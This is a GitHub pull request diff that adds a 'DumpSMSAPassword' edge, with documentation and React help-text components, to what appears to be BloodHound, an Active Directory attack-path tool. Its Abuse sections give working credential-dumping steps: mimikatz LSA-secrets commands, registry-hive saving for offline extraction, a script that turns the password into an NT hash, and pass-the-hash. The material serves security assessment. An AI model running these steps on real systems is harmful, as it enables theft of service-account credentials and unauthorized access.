Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

Contribution of the DumpSMSAPassword edge with its documentation #626

Merged
merged 4 commits into from
May 7, 2023
Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Next Next commit
Added DumpSMSAPassword edge with its documentation
  • Loading branch information
simondotsh committed Dec 20, 2022
commit 3ca881a18282dd50bef03c5d5aa2eec9419a2a26
80 changes: 80 additions & 0 deletions docs/data-analysis/edges.rst
Original file line number Diff line number Diff line change
@@ -2117,6 +2117,86 @@ References

|

DumpSMSAPassword
^^^^^^^^^^^^^^^^^^^^

A computer with this indicates that a Standalone Managed Service Account (sMSA)
is installed on it. An actor with administrative privileges on the computer
can retrieve the sMSA's password by dumping LSA secrets.

Abuse Info
------------

From an elevated command prompt on the computer where the sMSA resides, run
mimikatz then execute the following commands:

::

privilege::debug
token::elevate
lsadump::secrets

In the output, find *_SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_* suffixed by the
name of the targeted sMSA. The next line contains *cur/hex :* followed with the
sMSA's password hex-encoded.

To use this password, its NT hash must be calculated. This can be done using
a small python script:

::

# nt.py
import sys, hashlib

pw_hex = sys.argv[1]
nt_hash = hashlib.new('md4', bytes.fromhex(pw_hex)).hexdigest()

print(nt_hash)

Execute it like so:

::

python3 nt.py 35f3e1713d61...

To authenticate as the sMSA, leverage pass-the-hash.

Alternatively, to avoid executing mimikatz on the host, you can save a copy of
the *SYSTEM* and *SECURITY* registry hives from an elevated prompt:

::

reg save HKLM\SYSTEM %temp%\SYSTEM & reg save HKLM\SECURITY %temp%\SECURITY

Transfer the files named *SYSTEM* and *SECURITY* that were saved at *%temp%* to
another computer where mimikatz can be safely executed.

On this other computer, run mimikatz from a command prompt then execute the
following command to obtain the hex-encoded password:

::

lsadump::secrets /system:C:\path\to\file\SYSTEM /security:C:\path\to\file\SECURITY

Opsec Considerations
--------------------

Access to registry hives can be monitored and alerted via event ID 4656
(A handle to an object was requested).

References
----------

* https://simondotsh.com/infosec/2022/12/12/assessing-smsa.html
* https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets
* https://github.com/gentilkiwi/mimikatz

|

----

|

AZAddMembers
^^^^^^^^^^^^

3 changes: 2 additions & 1 deletion src/AppContainer.jsx
Original file line number Diff line number Diff line change
@@ -79,7 +79,8 @@ const fullEdgeList = [
'AddSelf',
'WriteSPN',
'AddKeyCredentialLink',
'SyncLAPSPassword'
'SyncLAPSPassword',
'DumpSMSAPassword'
];

export default class AppContainer extends Component {
3 changes: 3 additions & 0 deletions src/components/Modals/AddEdgeModal.jsx
Original file line number Diff line number Diff line change
@@ -322,6 +322,9 @@ const AddEdgeModal = () => {
<option value='WriteAccountRestrictions'>
WriteAccountRestrictions
</option>
<option value='DumpSMSAPassword'>
DumpSMSAPassword
</option>
</FormControl>
{errors.edgeErrors.length > 0 && (
<span className={styles.error}>
2 changes: 2 additions & 0 deletions src/components/Modals/HelpModal.jsx
Original file line number Diff line number Diff line change
@@ -59,6 +59,7 @@ import AddKeyCredentialLink from './HelpTexts/AddKeyCredentialLink/AddKeyCredent
import DCSync from './HelpTexts/DCSync/DCSync';
import SyncLAPSPassword from './HelpTexts/SyncLAPSPassword/SyncLAPSPassword';
import WriteAccountRestrictions from './HelpTexts/WriteAccountRestrictions/WriteAccountRestrictions';
import DumpSMSAPassword from './HelpTexts/DumpSMSAPassword/DumpSMSAPassword';

const HelpModal = () => {
const [sourceName, setSourceName] = useState('');
@@ -153,6 +154,7 @@ const HelpModal = () => {
DCSync: DCSync,
SyncLAPSPassword: SyncLAPSPassword,
WriteAccountRestrictions: WriteAccountRestrictions,
DumpSMSAPassword: DumpSMSAPassword,
};

const Component = edge in components ? components[edge] : Default;
89 changes: 89 additions & 0 deletions src/components/Modals/HelpTexts/DumpSMSAPassword/Abuse.jsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
import React from 'react';
import {groupSpecialFormat} from "../Formatter";

const Abuse = ({sourceName, sourceType, targetName, targetType}) => {
return (
<>
<p>
From an elevated command prompt on {sourceName}, run
mimikatz then execute the following commands:
</p>

<pre>
<code>
{
"privilege::debug\n" +
"token::elevate\n" +
"lsadump::secrets"
}
</code>
</pre>

<p>
In the output, find <code>_SC_&#123;262E99C9-6160-4871-ACEC-4E61736B6F21&#125;_{targetName.toLowerCase().split('@')[0]}</code>.
The next line contains <code>cur/hex :</code> followed with {targetName}'s
password hex-encoded.
</p>

<p>
To use this password, its NT hash must be calculated. This can be done using
a small python script:
</p>

<pre>
<code>
{
"# nt.py\n" +
"import sys, hashlib\n\n" +

"pw_hex = sys.argv[1]\n" +
"nt_hash = hashlib.new('md4', bytes.fromhex(pw_hex)).hexdigest()\n\n" +

"print(nt_hash)"
}
</code>
</pre>

<p>
Execute it like so:
</p>

<pre>
<code>
python3 nt.py 35f3e1713d61...
</code>
</pre>

<p>
To authenticate as the sMSA, leverage pass-the-hash.
</p>

<p>
Alternatively, to avoid executing mimikatz on {sourceName}, you can save a copy of
the <code>SYSTEM</code> and <code>SECURITY</code> registry hives from an elevated prompt:
</p>

<pre>
<code>
reg save HKLM\SYSTEM %temp%\SYSTEM & reg save HKLM\SECURITY %temp%\SECURITY
</code>
</pre>

<p>
Transfer the files named <code>SYSTEM</code> and <code>SECURITY</code> that were saved
at <code>%temp%</code> to another computer where mimikatz can be safely executed.

On this other computer, run mimikatz from a command prompt then execute the
following command to obtain the hex-encoded password:
</p>

<pre>
<code>
lsadump::secrets /system:C:\path\to\file\SYSTEM /security:C:\path\to\file\SECURITY
</code>
</pre>
</>
)
};

export default Abuse;
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';

const DumpSMSAPassword = ({
sourceName,
sourceType,
targetName,
targetType,
}) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab
eventKey={1}
title='Info'
>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
targetType={targetType}
/>
</Tab>
<Tab
eventKey={2}
title='Abuse Info'
>
<Abuse sourceName={sourceName} sourceType={sourceType} targetName={targetName} />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};

DumpSMSAPassword.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default DumpSMSAPassword;
29 changes: 29 additions & 0 deletions src/components/Modals/HelpTexts/DumpSMSAPassword/General.jsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
import React from 'react';
import PropTypes from 'prop-types';

import { groupSpecialFormat } from '../Formatter';

const General = ({sourceName, sourceType, targetName, targetType}) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} the
Standalone Managed Service Account (sMSA) {targetName} installed on it.
</p>

<p>
With administrative privileges on {sourceName}, it is
possible to dump {targetName}'s password stored in LSA
secrets.
</p>
</>
);
};

General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};

export default General;
15 changes: 15 additions & 0 deletions src/components/Modals/HelpTexts/DumpSMSAPassword/Opsec.jsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
import React from 'react';

const Opsec = () => {

return (
<>
<p>
Access to registry hives can be monitored and alerted via event ID 4656
(A handle to an object was requested).
</p>
</>
)
};

export default Opsec;
16 changes: 16 additions & 0 deletions src/components/Modals/HelpTexts/DumpSMSAPassword/References.jsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
import React from 'react';


const References = () => {
return(
<>
<a href="https://simondotsh.com/infosec/2022/12/12/assessing-smsa.html">https://simondotsh.com/infosec/2022/12/12/assessing-smsa.html</a>
<br />
<a href="https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets">https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets</a>
<br />
<a href="https://github.com/gentilkiwi/mimikatz">https://github.com/gentilkiwi/mimikatz</a>
</>
)
};

export default References;
2 changes: 2 additions & 0 deletions src/components/SearchContainer/EdgeFilter/EdgeFilter.jsx
Original file line number Diff line number Diff line change
@@ -101,6 +101,7 @@ const EdgeFilter = ({ open }) => {
'AllowedToAct',
'SQLAdmin',
'HasSIDHistory',
'DumpSMSAPassword',
]}
/>
<EdgeFilterCheck name='CanRDP' />
@@ -110,6 +111,7 @@ const EdgeFilter = ({ open }) => {
<EdgeFilterCheck name='AllowedToAct' />
<EdgeFilterCheck name='SQLAdmin' />
<EdgeFilterCheck name='HasSIDHistory' />
<EdgeFilterCheck name='DumpSMSAPassword' />
</div>
<div>
<EdgeFilterSection
3 changes: 3 additions & 0 deletions src/index.js
Original file line number Diff line number Diff line change
@@ -265,6 +265,7 @@ global.appStore = {
WriteSPN: 'tapered',
AddKeyCredentialLink: 'tapered',
SyncLAPSPassword: 'tapered',
DumpSMSAPassword: 'tapered',
},
},
lowResPalette: {
@@ -306,6 +307,7 @@ global.appStore = {
HasSIDHistory: 'line',
CanPSRemote: 'line',
SyncLAPSPassword: 'line',
DumpSMSAPassword: 'line',
},
},
highResStyle: {
@@ -405,6 +407,7 @@ if (typeof conf.get('edgeincluded') === 'undefined') {
HasSIDHistory: true,
CanPSRemote: true,
SyncLAPSPassword: true,
DumpSMSAPassword: true,
});
}

Loading